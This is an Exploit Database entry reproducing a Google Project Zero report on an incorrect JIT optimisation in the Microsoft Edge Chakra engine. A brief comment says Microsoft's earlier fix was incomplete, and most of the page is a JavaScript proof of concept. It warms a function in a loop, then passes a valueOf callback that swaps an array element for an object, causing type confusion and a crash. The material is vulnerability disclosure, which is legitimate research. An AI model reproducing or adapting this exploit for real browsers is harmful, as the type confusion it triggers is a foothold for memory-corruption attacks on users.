Microsoft Edge 40.15063.0.0 Chakra – Incorrect JIT Optimization with TypedArray Setter #3

• Exploit Database
• 113 阅读

• 作者： Google Security Research
  日期： 2017-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42479/
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  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1316   Coincidentally, Microsoft released the patch for theissue 1290the day after I reported it. But it seems they fixed it incorrectly again.   This time, "func(a, b, i);" is replaced with "func(a, b, {});".   PoC: -->   &apos;use strict&apos;;   function func(a, b, c) { a[0] = 1.2; b[0] = c; a[1] = 2.2; a[0] = 2.3023e-320; }   function main() { let a = [1.1, 2.2]; let b = new Uint32Array(100);   for (let i = 0; i < 0x1000; i++) func(a, b, {});// <<---------- REPLACED   func(a, b, {valueOf: () => { a[0] = {};   return 0; }});   a[0].toString(); }   main();   // Tested on Microsoft Edge 40.15063.0.0(Insider Preview).